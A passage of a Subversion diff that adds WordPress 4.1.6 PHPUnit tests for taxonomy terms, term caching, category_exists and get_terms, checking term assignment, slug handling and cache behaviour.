+		$tag1 = wp_insert_term( '_tag1', $non_hier );
+		$this->assertFalse( has_term( $tag1['term_id'], $non_hier, $post_id ) );
+
+		$tag2 = wp_insert_term( '_tag2', $non_hier );
+		$this->assertFalse( has_term( $tag2['term_id'], $non_hier, $post_id ) );
+
+		$tag3 = wp_insert_term( '_tag3', $non_hier );
+		$this->assertFalse( has_term( $tag3['term_id'], $non_hier, $post_id ) );
+
+		wp_set_object_terms( $post_id, array( $tag1['term_id'], $tag2['term_id'], $tag3['term_id'] ), $non_hier );
+		$this->assertTrue( has_term( array( $tag1['term_id'], $tag2['term_id'], $tag3['term_id'] ), $non_hier, $post_id ) );
+
+		/*
+		 * Set an array of term slugs (hierarchical) by slug.
+		 */
+		$cat1 = wp_insert_term( '_cat1', $hier );
+		$cat1 = get_term( $cat1['term_id'], $hier );
+		$this->assertFalse( has_term( $cat1->slug, $hier, $post_id ) );
+
+		$cat2 = wp_insert_term( '_cat2', $hier );
+		$cat2 = get_term( $cat2['term_id'], $hier );
+		$this->assertFalse( has_term( $cat2->slug, $hier, $post_id ) );
+
+		$cat3 = wp_insert_term( '_cat3', $hier );
+		$cat3 = get_term( $cat3['term_id'], $hier );
+		$this->assertFalse( has_term( $cat3->slug, $hier, $post_id ) );
+
+		wp_set_object_terms( $post_id, array( $cat1->slug, $cat2->slug, $cat3->slug ), $hier );
+		$this->assertTrue( has_term( array( $cat1->slug, $cat2->slug, $cat3->slug ), $hier, $post_id ) );
+	}
+
+	function test_set_object_terms_by_id() {
+		$ids = $this->factory->post->create_many(5);
+
+		$terms = array();
+		for ($i=0; $i<3; $i++ ) {
+			$term = rand_str();
+			$result = wp_insert_term( $term, $this->taxonomy );
+			$this->assertInternalType( 'array', $result );
+			$term_id[$term] = $result['term_id'];
+		}
+
+		foreach ($ids as $id) {
+				$tt = wp_set_object_terms( $id, array_values($term_id), $this->taxonomy );
+				// should return three term taxonomy ids
+				$this->assertEquals( 3, count($tt) );
+		}
+
+		// each term should be associated with every post
+		foreach ($term_id as $term=>$id) {
+			$actual = get_objects_in_term($id, $this->taxonomy);
+			$this->assertEquals( $ids, array_map('intval', $actual) );
+		}
+
+		// each term should have a count of 5
+		foreach (array_keys($term_id) as $term) {
+			$t = get_term_by('name', $term, $this->taxonomy);
+			$this->assertEquals( 5, $t->count );
+		}
+	}
+
+	function test_set_object_terms_by_name() {
+		$ids = $this->factory->post->create_many(5);
+
+		$terms = array(
+				rand_str(),
+				rand_str(),
+				rand_str());
+
+		foreach ($ids as $id) {
+				$tt = wp_set_object_terms( $id, $terms, $this->taxonomy );
+				// should return three term taxonomy ids
+				$this->assertEquals( 3, count($tt) );
+				// remember which term has which term_id
+				for ($i=0; $i<3; $i++) {
+					$term = get_term_by('name', $terms[$i], $this->taxonomy);
+					$term_id[$terms[$i]] = intval($term->term_id);
+				}
+		}
+
+		// each term should be associated with every post
+		foreach ($term_id as $term=>$id) {
+			$actual = get_objects_in_term($id, $this->taxonomy);
+			$this->assertEquals( $ids, array_map('intval', $actual) );
+		}
+
+		// each term should have a count of 5
+		foreach ($terms as $term) {
+			$t = get_term_by('name', $term, $this->taxonomy);
+			$this->assertEquals( 5, $t->count );
+		}
+	}
+
+	function test_set_object_terms_invalid() {
+		$post_id = $this->factory->post->create();
+
+		// bogus taxonomy
+		$result = wp_set_object_terms( $post_id, array(rand_str()), rand_str() );
+		$this->assertTrue( is_wp_error($result) );
+	}
+
+	public function test_wp_set_object_terms_append_true() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$p = $this->factory->post->create();
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$added1 = wp_set_object_terms( $p, array( $t1 ), 'wptests_tax' );
+		$this->assertNotEmpty( $added1 );
+		$this->assertEqualSets( array( $t1 ), wp_get_object_terms( $p, 'wptests_tax', array( 'fields' => 'ids' ) ) );
+
+		$added2 = wp_set_object_terms( $p, array( $t2 ), 'wptests_tax', true );
+		$this->assertNotEmpty( $added2 );
+		$this->assertEqualSets( array( $t1, $t2 ), wp_get_object_terms( $p, 'wptests_tax', array( 'fields' => 'ids' ) ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_set_object_terms_append_false() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$p = $this->factory->post->create();
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$added1 = wp_set_object_terms( $p, array( $t1 ), 'wptests_tax' );
+		$this->assertNotEmpty( $added1 );
+		$this->assertEqualSets( array( $t1 ), wp_get_object_terms( $p, 'wptests_tax', array( 'fields' => 'ids' ) ) );
+
+		$added2 = wp_set_object_terms( $p, array( $t2 ), 'wptests_tax', false );
+		$this->assertNotEmpty( $added2 );
+		$this->assertEqualSets( array( $t2 ), wp_get_object_terms( $p, 'wptests_tax', array( 'fields' => 'ids' ) ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_set_object_terms_append_default_to_false() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$p = $this->factory->post->create();
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$added1 = wp_set_object_terms( $p, array( $t1 ), 'wptests_tax' );
+		$this->assertNotEmpty( $added1 );
+		$this->assertEqualSets( array( $t1 ), wp_get_object_terms( $p, 'wptests_tax', array( 'fields' => 'ids' ) ) );
+
+		$added2 = wp_set_object_terms( $p, array( $t2 ), 'wptests_tax' );
+		$this->assertNotEmpty( $added2 );
+		$this->assertEqualSets( array( $t2 ), wp_get_object_terms( $p, 'wptests_tax', array( 'fields' => 'ids' ) ) );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	function test_change_object_terms_by_id() {
+		// set some terms on an object; then change them while leaving one intact
+
+		$post_id = $this->factory->post->create();
+
+		// first set: 3 terms
+		$terms_1 = array();
+		for ($i=0; $i<3; $i++ ) {
+			$term = rand_str();
+			$result = wp_insert_term( $term, $this->taxonomy );
+			$this->assertInternalType( 'array', $result );
+			$terms_1[$i] = $result['term_id'];
+		}
+
+		// second set: one of the original terms, plus one new term
+		$terms_2 = array();
+		$terms_2[0] = $terms_1[1];
+
+		$term = rand_str();
+		$result = wp_insert_term( $term, $this->taxonomy );
+		$terms_2[1] = $result['term_id'];
+
+
+		// set the initial terms
+		$tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+		$this->assertEquals( 3, count($tt_1) );
+
+		// make sure they're correct
+		$terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'ids', 'orderby' => 't.term_id'));
+		$this->assertEquals( $terms_1, $terms );
+
+		// change the terms
+		$tt_2 = wp_set_object_terms( $post_id, $terms_2, $this->taxonomy );
+		$this->assertEquals( 2, count($tt_2) );
+
+		// make sure they're correct
+		$terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'ids', 'orderby' => 't.term_id'));
+		$this->assertEquals( $terms_2, $terms );
+
+		// make sure the tt id for 'bar' matches
+		$this->assertEquals( $tt_1[1], $tt_2[0] );
+
+	}
+
+	function test_change_object_terms_by_name() {
+		// set some terms on an object; then change them while leaving one intact
+
+		$post_id = $this->factory->post->create();
+
+		$terms_1 = array('foo', 'bar', 'baz');
+		$terms_2 = array('bar', 'bing');
+
+		// set the initial terms
+		$tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+		$this->assertEquals( 3, count($tt_1) );
+
+		// make sure they're correct
+		$terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'names', 'orderby' => 't.term_id'));
+		$this->assertEquals( $terms_1, $terms );
+
+		// change the terms
+		$tt_2 = wp_set_object_terms( $post_id, $terms_2, $this->taxonomy );
+		$this->assertEquals( 2, count($tt_2) );
+
+		// make sure they're correct
+		$terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'names', 'orderby' => 't.term_id'));
+		$this->assertEquals( $terms_2, $terms );
+
+		// make sure the tt id for 'bar' matches
+		$this->assertEquals( $tt_1[1], $tt_2[0] );
+
+	}
+
+	/**
+	 * @ticket 15475
+	 */
+	function test_wp_add_remove_object_terms() {
+		$posts = $this->factory->post->create_many( 5 );
+		$tags = $this->factory->tag->create_many( 5 );
+
+		$tt = wp_add_object_terms( $posts[0], $tags[1], 'post_tag' );
+		$this->assertEquals( 1, count( $tt ) );
+		$this->assertEquals( array( $tags[1] ), wp_get_object_terms( $posts[0], 'post_tag', array( 'fields' => 'ids' ) ) );
+
+		$three_tags = array( $tags[0], $tags[1], $tags[2] );
+		$tt = wp_add_object_terms( $posts[1], $three_tags, 'post_tag' );
+		$this->assertEquals( 3, count( $tt ) );
+		$this->assertEquals( $three_tags, wp_get_object_terms( $posts[1], 'post_tag', array( 'fields' => 'ids' ) ) );
+
+		$this->assertTrue( wp_remove_object_terms( $posts[0], $tags[1], 'post_tag' ) );
+		$this->assertFalse( wp_remove_object_terms( $posts[0], $tags[0], 'post_tag' ) );
+		$this->assertInstanceOf( 'WP_Error', wp_remove_object_terms( $posts[0], $tags[1], 'non_existing_taxonomy' ) );
+		$this->assertTrue( wp_remove_object_terms( $posts[1], $three_tags, 'post_tag' ) );
+		$this->assertEquals( 0, count( wp_get_object_terms( $posts[1], 'post_tag' ) ) );
+
+		foreach ( $tags as $term_id )
+			$this->assertTrue( wp_delete_term( $term_id, 'post_tag' ) );
+
+		foreach ( $posts as $post_id )
+			$this->assertTrue( (bool) wp_delete_post( $post_id, true ) );
+	}
+
+	/**
+	 * @group category.php
+	 */
+	function test_term_is_ancestor_of( ) {
+		$term = rand_str();
+		$term2 = rand_str();
+
+		$t = wp_insert_term( $term, 'category' );
+		$this->assertInternalType( 'array', $t );
+		$t2 = wp_insert_term( $term, 'category', array( 'parent' => $t['term_id'] ) );
+		$this->assertInternalType( 'array', $t2 );
+		if ( function_exists( 'term_is_ancestor_of' ) ) {
+			$this->assertTrue( term_is_ancestor_of( $t['term_id'], $t2['term_id'], 'category' ) );
+			$this->assertFalse( term_is_ancestor_of( $t2['term_id'], $t['term_id'], 'category' ) );
+		}
+		$this->assertTrue( cat_is_ancestor_of( $t['term_id'], $t2['term_id']) );
+		$this->assertFalse( cat_is_ancestor_of( $t2['term_id'], $t['term_id']) );
+
+		wp_delete_term($t['term_id'], 'category');
+		wp_delete_term($t2['term_id'], 'category');
+	}
+
+	function test_wp_insert_delete_category() {
+		$term = rand_str();
+		$this->assertNull( category_exists( $term ) );
+
+		$initial_count = wp_count_terms( 'category' );
+
+		$t = wp_insert_category( array( 'cat_name' => $term ) );
+		$this->assertTrue( is_numeric($t) );
+		$this->assertFalse( is_wp_error($t) );
+		$this->assertTrue( $t > 0 );
+		$this->assertEquals( $initial_count + 1, wp_count_terms( 'category' ) );
+
+		// make sure the term exists
+		$this->assertTrue( term_exists($term) > 0 );
+		$this->assertTrue( term_exists($t) > 0 );
+
+		// now delete it
+		$this->assertTrue( wp_delete_category($t) );
+		$this->assertNull( term_exists($term) );
+		$this->assertNull( term_exists($t) );
+		$this->assertEquals( $initial_count, wp_count_terms('category') );
+	}
+
+	/**
+	 * @ticket 16550
+	 */
+	function test_wp_set_post_categories() {
+		$post_id = $this->factory->post->create();
+		$post = get_post( $post_id );
+
+		$this->assertInternalType( 'array', $post->post_category );
+		$this->assertEquals( 1, count( $post->post_category ) );
+		$this->assertEquals( get_option( 'default_category' ), $post->post_category[0] );
+		$term1 = wp_insert_term( 'Foo', 'category' );
+		$term2 = wp_insert_term( 'Bar', 'category' );
+		$term3 = wp_insert_term( 'Baz', 'category' );
+		wp_set_post_categories( $post_id, array( $term1['term_id'], $term2['term_id'] ) );
+		$this->assertEquals( 2, count( $post->post_category ) );
+		$this->assertEquals( array( $term2['term_id'], $term1['term_id'] ) , $post->post_category );
+
+		wp_set_post_categories( $post_id, $term3['term_id'], true );
+		$this->assertEquals( array( $term2['term_id'], $term3['term_id'], $term1['term_id'] ) , $post->post_category );
+
+		$term4 = wp_insert_term( 'Burrito', 'category' );
+		wp_set_post_categories( $post_id, $term4['term_id'] );
+		$this->assertEquals( array( $term4['term_id'] ), $post->post_category );
+
+		wp_set_post_categories( $post_id, array( $term1['term_id'], $term2['term_id'] ), true );
+		$this->assertEquals( array( $term2['term_id'], $term4['term_id'], $term1['term_id'] ), $post->post_category );
+
+		wp_set_post_categories( $post_id, array(), true );
+		$this->assertEquals( 1, count( $post->post_category ) );
+		$this->assertEquals( get_option( 'default_category' ), $post->post_category[0] );
+
+		wp_set_post_categories( $post_id, array() );
+		$this->assertEquals( 1, count( $post->post_category ) );
+		$this->assertEquals( get_option( 'default_category' ), $post->post_category[0] );
+	}
+
+	function test_wp_unique_term_slug() {
+		// set up test data
+		$a = wp_insert_term( 'parent', $this->taxonomy );
+		$this->assertInternalType( 'array', $a );
+		$b = wp_insert_term( 'child',  $this->taxonomy, array( 'parent' => $a['term_id'] ) );
+		$this->assertInternalType( 'array', $b );
+		$c = wp_insert_term( 'neighbor', $this->taxonomy );
+		$this->assertInternalType( 'array', $c );
+		$d = wp_insert_term( 'pet',  $this->taxonomy, array( 'parent' => $c['term_id'] )  );
+		$this->assertInternalType( 'array', $c );
+
+		$a_term = get_term( $a['term_id'], $this->taxonomy );
+		$b_term = get_term( $b['term_id'], $this->taxonomy );
+		$c_term = get_term( $c['term_id'], $this->taxonomy );
+		$d_term = get_term( $d['term_id'], $this->taxonomy );
+
+		// a unique slug gets unchanged
+		$this->assertEquals( 'unique-term', wp_unique_term_slug( 'unique-term', $c_term ) );
+
+		// a non-hierarchicial dupe gets suffixed with "-#"
+		$this->assertEquals( 'parent-2', wp_unique_term_slug( 'parent', $c_term ) );
+
+		// a hierarchical dupe initially gets suffixed with its parent term
+		$this->assertEquals( 'child-neighbor', wp_unique_term_slug( 'child', $d_term ) );
+
+		// a hierarchical dupe whose parent already contains the {term}-{parent term}
+		// term gets suffixed with parent term name and then '-#'
+		$e = wp_insert_term( 'child-neighbor', $this->taxonomy, array( 'parent' => $c['term_id'] ) );
+		$this->assertEquals( 'child-neighbor-2', wp_unique_term_slug( 'child', $d_term ) );
+
+		$f = wp_insert_term( 'foo', $this->taxonomy );
+		$this->assertInternalType( 'array', $f );
+		$f_term = get_term( $f['term_id'], $this->taxonomy );
+		$this->assertEquals( 'foo', $f_term->slug );
+		$this->assertEquals( 'foo', wp_unique_term_slug(  'foo', $f_term ) );
+
+		$g = wp_insert_term( 'foo',  $this->taxonomy );
+		$this->assertInstanceOf( 'WP_Error', $g );
+
+		// clean up
+		foreach ( array( $a, $b, $c, $d, $e, $f ) as $t )
+			$this->assertTrue( wp_delete_term( $t['term_id'], $this->taxonomy ) );
+	}
+
+	/**
+	 * @ticket 25852
+	 */
+	function test_sanitize_term_field() {
+		$term = wp_insert_term( 'foo', $this->taxonomy );
+
+		$this->assertEquals( 0, sanitize_term_field( 'parent',  0, $term['term_id'], $this->taxonomy, 'raw' ) );
+		$this->assertEquals( 1, sanitize_term_field( 'parent',  1, $term['term_id'], $this->taxonomy, 'raw' ) );
+		$this->assertEquals( 0, sanitize_term_field( 'parent', -1, $term['term_id'], $this->taxonomy, 'raw' ) );
+		$this->assertEquals( 0, sanitize_term_field( 'parent', '', $term['term_id'], $this->taxonomy, 'raw' ) );
+	}
+
+	private function assertPostHasTerms( $post_id, $expected_term_ids, $taxonomy ) {
+		$assigned_term_ids = wp_get_object_terms( $post_id, $taxonomy, array(
+			'fields' => 'ids'
+		) );
+
+		$this->assertEquals( $expected_term_ids, $assigned_term_ids );
+	}
+
+	/**
+	 * @ticket 22560
+	 */
+	function test_object_term_cache() {
+		$post_id = $this->factory->post->create();
+
+		$terms_1 = array('foo', 'bar', 'baz');
+		$terms_2 = array('bar', 'bing');
+
+		// Cache should be empty after a set.
+		$tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+		$this->assertEquals( 3, count($tt_1) );
+		$this->assertFalse( wp_cache_get( $post_id, $this->taxonomy . '_relationships') );
+
+		// wp_get_object_terms() does not prime the cache.
+		wp_get_object_terms( $post_id, $this->taxonomy, array('fields' => 'names', 'orderby' => 't.term_id') );
+		$this->assertFalse( wp_cache_get( $post_id, $this->taxonomy . '_relationships') );
+
+		// get_the_terms() does prime the cache.
+		$terms = get_the_terms( $post_id, $this->taxonomy );
+		$cache = wp_cache_get( $post_id, $this->taxonomy . '_relationships');
+		$this->assertInternalType( 'array', $cache );
+
+		// Cache should be empty after a set.
+		$tt_2 = wp_set_object_terms( $post_id, $terms_2, $this->taxonomy );
+		$this->assertEquals( 2, count($tt_2) );
+		$this->assertFalse( wp_cache_get( $post_id, $this->taxonomy . '_relationships') );
+	}
+
+	/**
+	 * @ticket 24189
+	 */
+	function test_object_term_cache_when_term_changes() {
+		$post_id = $this->factory->post->create();
+		$tag_id = $this->factory->tag->create( array( 'description' => 'My Amazing Tag' ) );
+
+		$tt_1 = wp_set_object_terms( $post_id, $tag_id, 'post_tag' );
+
+		$terms = get_the_terms( $post_id, 'post_tag' );
+		$this->assertEquals( $tag_id, $terms[0]->term_id );
+		$this->assertEquals( 'My Amazing Tag', $terms[0]->description );
+
+		$_updated = wp_update_term( $tag_id, 'post_tag', array(
+			'description' => 'This description is even more amazing!'
+		) );
+
+		$_new_term = get_term( $tag_id, 'post_tag' );
+		$this->assertEquals( $tag_id, $_new_term->term_id );
+		$this->assertEquals( 'This description is even more amazing!', $_new_term->description );
+
+		$terms = get_the_terms( $post_id, 'post_tag' );
+		$this->assertEquals( $tag_id, $terms[0]->term_id );
+		$this->assertEquals( 'This description is even more amazing!', $terms[0]->description );
+	}
+
+	/**
+	 * @ticket 19205
+	 */
+	function test_orphan_category() {
+		$cat_id1 = $this->factory->category->create();
+
+		wp_delete_category( $cat_id1 );
+
+		$cat_id2 = $this->factory->category->create( array( 'parent' => $cat_id1 ) );
+		$this->assertWPError( $cat_id2 );
+	}
+
+	/**
+	 * @ticket 30780
+	 */
+	public function test_wp_update_term_should_assign_new_slug_when_reassigning_parent_as_long_as_there_is_no_other_term_with_the_same_slug() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+		register_taxonomy( 'wptests_tax_2', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'parent-term',
+		) );
+
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'foo',
+		) );
+
+		wp_update_term( $t2, 'wptests_tax', array(
+			'parent' => $t1,
+		) );
+
+		$t2_term = get_term( $t2, 'wptests_tax' );
+
+		$this->assertSame( 'foo', $t2_term->slug );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 30780
+	 */
+	public function test_wp_update_term_should_not_assign_new_slug_when_reassigning_parent_as_long_as_there_is_no_other_slug_conflict_within_the_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+		register_taxonomy( 'wptests_tax_2', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'parent-term',
+		) );
+
+		// Same slug but in a different tax.
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax_2',
+			'slug' => 'foo',
+		) );
+
+		$t3 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'foo',
+		) );
+
+		wp_update_term( $t3, 'wptests_tax', array(
+			'parent' => $t1,
+		) );
+
+		$t3_term = get_term( $t3, 'wptests_tax' );
+
+		$this->assertSame( 'foo', $t3_term->slug );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/** Helpers **********************************************************/
+
+	public function _pre_insert_term_callback() {
+		return new WP_Error( 'custom_error' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/cache.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/cache.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/cache.php	(revision 33402)
@@ -0,0 +1,203 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Term_Cache extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		wp_cache_delete( 'last_changed', 'terms' );
+	}
+
+	/**
+	 * @ticket 25711
+	 */
+	function test_category_children_cache() {
+		// Test with only one Parent => Child
+		$term_id1 = $this->factory->category->create();
+		$term_id1_child = $this->factory->category->create( array( 'parent' => $term_id1 ) );
+		$hierarchy = _get_term_hierarchy( 'category' );
+
+		$this->assertEquals( array( $term_id1 => array( $term_id1_child ) ), $hierarchy );
+
+		// Add another Parent => Child
+		$term_id2 = $this->factory->category->create();
+		$term_id2_child = $this->factory->category->create( array( 'parent' => $term_id2 ) );
+		$hierarchy = _get_term_hierarchy( 'category' );
+
+		$this->assertEquals( array( $term_id1 => array( $term_id1_child ), $term_id2 => array( $term_id2_child ) ), $hierarchy );
+	}
+
+	/**
+	 * @ticket 22526
+	 */
+	function test_category_name_change() {
+		$term = $this->factory->category->create_and_get( array( 'name' => 'Foo' ) );
+		$post_id = $this->factory->post->create();
+		wp_set_post_categories( $post_id, $term->term_id );
+
+		$post = get_post( $post_id );
+		$cats1 = get_the_category( $post->ID );
+		$this->assertEquals( $term->name, reset( $cats1 )->name );
+
+		wp_update_term( $term->term_id, 'category', array( 'name' => 'Bar' ) );
+		$cats2 = get_the_category( $post->ID );
+		$this->assertNotEquals( $term->name, reset( $cats2 )->name );
+	}
+
+	/**
+	 * @ticket 14485
+	 */
+	function test_hierachy_invalidation() {
+		$tax = 'burrito';
+		register_taxonomy( $tax, 'post', array( 'hierarchical' => true ) );
+		$this->assertTrue( get_taxonomy( $tax )->hierarchical );
+
+		$step = 1;
+		$parent_id = 0;
+		$children = 0;
+
+		foreach ( range( 1, 99 ) as $i ) {
+			switch ( $step ) {
+			case 1:
+				$parent = wp_insert_term( 'Parent' . $i, $tax );
+				$parent_id = $parent['term_id'];
+				break;
+			case 2:
+				$parent = wp_insert_term( 'Child' . $i, $tax, array( 'parent' => $parent_id ) );
+				$parent_id = $parent['term_id'];
+				$children++;
+				break;
+			case 3:
+				wp_insert_term( 'Grandchild' . $i, $tax, array( 'parent' => $parent_id ) );
+				$parent_id = 0;
+				$children++;
+				break;
+			}
+
+			$terms = get_terms( $tax, array( 'hide_empty' => false ) );
+			$this->assertEquals( $i, count( $terms ) );
+			if ( $i > 1 ) {
+				$hierarchy = _get_term_hierarchy( $tax );
+				$this->assertNotEmpty( $hierarchy );
+				$this->assertEquals( $children, count( $hierarchy, COUNT_RECURSIVE ) - count( $hierarchy ) );
+			}
+
+			if ( $i % 3 === 0 ) {
+				$step = 1;
+			} else {
+				$step++;
+			}
+		}
+
+		_unregister_taxonomy( $tax );
+	}
+
+	public function test_get_term_should_update_term_cache_when_passed_an_object() {
+		global $wpdb;
+
+		register_taxonomy( 'wptests_tax', 'post' );
+		$term = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$term_object = get_term( $term, 'wptests_tax' );
+		wp_cache_delete( $term, 'wptests_tax' );
+
+		// Affirm that the cache is empty.
+		$this->assertEmpty( wp_cache_get( $term, 'wptests_tax' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// get_term() will only be update the cache if the 'filter' prop is unset.
+		unset( $term_object->filter );
+
+		$term_object_2 = get_term( $term_object, 'wptests_tax' );
+
+		// No new queries should have fired.
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEquals( $term_object, $term_object_2 );
+	}
+
+	public function test_get_term_should_update_term_cache_when_passed_a_valid_term_identifier() {
+		global $wpdb;
+
+		register_taxonomy( 'wptests_tax', 'post' );
+		$term = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		wp_cache_delete( $term, 'wptests_tax' );
+
+		// Affirm that the cache is empty.
+		$this->assertEmpty( wp_cache_get( $term, 'wptests_tax' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Prime cache.
+		$term_object = get_term( $term, 'wptests_tax' );
+		$this->assertNotEmpty( wp_cache_get( $term, 'wptests_tax' ) );
+		$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+
+		$term_object_2 = get_term( $term, 'wptests_tax' );
+
+		// No new queries should have fired.
+		$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+		$this->assertEquals( $term_object, $term_object_2 );
+	}
+
+	public function test_get_term_by_should_update_term_cache_when_passed_a_valid_term_identifier() {
+		global $wpdb;
+
+		register_taxonomy( 'wptests_tax', 'post' );
+		$term = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		wp_cache_delete( $term, 'wptests_tax' );
+
+		// Affirm that the cache is empty.
+		$this->assertEmpty( wp_cache_get( $term, 'wptests_tax' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Prime cache.
+		$term_object = get_term_by( 'id', $term, 'wptests_tax' );
+		$this->assertNotEmpty( wp_cache_get( $term, 'wptests_tax' ) );
+		$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+
+		$term_object_2 = get_term( $term, 'wptests_tax' );
+
+		// No new queries should have fired.
+		$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+		$this->assertEquals( $term_object, $term_object_2 );
+	}
+
+	/**
+	 * @ticket 30749
+	 */
+	public function test_get_terms_should_update_cache_for_located_terms() {
+		global $wpdb;
+
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$terms = $this->factory->term->create_many( 5, array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$term_objects = get_terms( 'wptests_tax', array(
+			'hide_empty' => false,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		foreach ( $terms as $term_id ) {
+			get_term( $term_id, 'wptests_tax' );
+		}
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/categoryExists.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/categoryExists.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/categoryExists.php	(revision 33402)
@@ -0,0 +1,77 @@
+<?php
+
+class Tests_Term_CategoryExists extends WP_UnitTestCase {
+	/**
+	 * @ticket 30975
+	 */
+	public function test_category_exists_should_return_only_top_level_categories_when_parent_is_0() {
+		$c1 = $this->factory->category->create();
+		$c2 = $this->factory->category->create( array(
+			'name' => 'Foo',
+			'parent' => $c1,
+		) );
+		$c3 = $this->factory->category->create( array(
+			'name' => 'Foo',
+		) );
+
+		$found = category_exists( 'Foo', 0 );
+
+		$this->assertEquals( $found, $c3 );
+	}
+
+	/**
+	 * @ticket 30975
+	 */
+	public function test_category_exists_should_select_oldest_matching_category_when_no_parent_is_specified_1() {
+		// Foo child of c1 is created first.
+		$c1 = $this->factory->category->create();
+		$c2 = $this->factory->category->create( array(
+			'name' => 'Foo',
+			'parent' => $c1,
+		) );
+		$c3 = $this->factory->category->create( array(
+			'name' => 'Foo',
+		) );
+
+		$found = category_exists( 'Foo' );
+
+		$this->assertEquals( $found, $c2 );
+	}
+
+	/**
+	 * @ticket 30975
+	 */
+	public function test_category_exists_should_select_oldest_matching_category_when_no_parent_is_specified_2() {
+		// Top-level Foo is created first.
+		$c1 = $this->factory->category->create();
+		$c2 = $this->factory->category->create( array(
+			'name' => 'Foo',
+		) );
+		$c3 = $this->factory->category->create( array(
+			'name' => 'Foo',
+			'parent' => $c1,
+		) );
+
+		$found = category_exists( 'Foo' );
+
+		$this->assertEquals( $found, $c2 );
+	}
+
+	/**
+	 * @ticket 30975
+	 */
+	public function test_category_exists_should_respect_nonempty_parent() {
+		$c1 = $this->factory->category->create();
+		$c2 = $this->factory->category->create( array(
+			'name' => 'Foo',
+			'parent' => $c1,
+		) );
+		$c3 = $this->factory->category->create( array(
+			'name' => 'Foo',
+		) );
+
+		$found = category_exists( 'Foo', $c1 );
+
+		$this->assertEquals( $found, $c2 );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/term/getTerms.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/term/getTerms.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/term/getTerms.php	(revision 33402)
@@ -0,0 +1,1106 @@
+<?php
+
+/**
+ * @group taxonomy
+ */
+class Tests_Term_getTerms extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		_clean_term_filters();
+		wp_cache_delete( 'last_changed', 'terms' );
+	}
+
+	/**
+	 * @ticket 23326
+	 */
+	public function test_get_terms_cache() {
+		global $wpdb;
+
+		$this->set_up_three_posts_and_tags();
+
+		$num_queries = $wpdb->num_queries;
+
+		// last_changed and num_queries should bump
+		$terms = get_terms( 'post_tag' );
+		$this->assertEquals( 3, count( $terms ) );
+		$time1 = wp_cache_get( 'last_changed', 'terms' );
+		$this->assertNotEmpty( $time1 );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Again. last_changed and num_queries should remain the same.
+		$terms = get_terms( 'post_tag' );
+		$this->assertEquals( 3, count( $terms ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'terms' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 23326
+	 */
